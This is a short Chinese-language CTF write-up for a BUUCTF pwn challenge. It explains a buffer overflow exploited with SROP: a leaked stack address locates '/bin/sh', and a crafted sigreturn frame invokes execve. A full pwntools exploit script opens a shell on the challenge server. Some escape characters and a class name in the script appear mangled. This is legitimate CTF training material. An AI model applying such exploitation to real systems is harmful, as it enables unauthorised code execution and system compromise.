查看保护
有溢出,还有系统调用syscall。srop。
输入0x10,write时可以out出0x30个,动态发现会有一个栈上地址。
栈上地址距离buf地址0x128(在本机动态时是0x128在远程是0x118,本地没有patchelf)有了buf地址也就是/bin/sh的地址。因为buf中输入/bin/sh就行了。接下来就是Sigreturnframe的布局和sigreturn的调用。
from pwn import * context(arch='amd64', os='linux', log_level='debug') file_name = './z1r0' debug = 1 if debug: r = remote('node4.buuoj.cn', 25142) else: r = process(file_name) elf = ELF(file_name) def dbg(): gdb.attach(r) vuln = 0x04004ED p1 = b'a' * 0x10 + p64(vuln) r.sendline(p1) stack_addr = u64(r.recvuntil('x7f')[-6:].ljust(8, b'x00')) success('stack_addr = ' + hex(stack_addr)) #buf_addr = stack_addr - 0x128 buf_addr = stack_addr - 0x118 success('buf_addr = ' + hex(buf_addr)) syscall_ret = 0x400517 sigret = 0x4004DA sigframe = Sigreturnframe() sigframe.rax = constants.SYS_execve sigframe.rdi = buf_addr sigframe.rsi = 0x0 sigframe.rdx = 0x0 sigframe.rsp = stack_addr sigframe.rip = syscall_ret p1 = b'/bin/sh' + b'x00' * (0x1 + 0x8) p1 += p64(sigret) + p64(syscall_ret) + bytes(sigframe) r.send(p1) r.interactive()
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)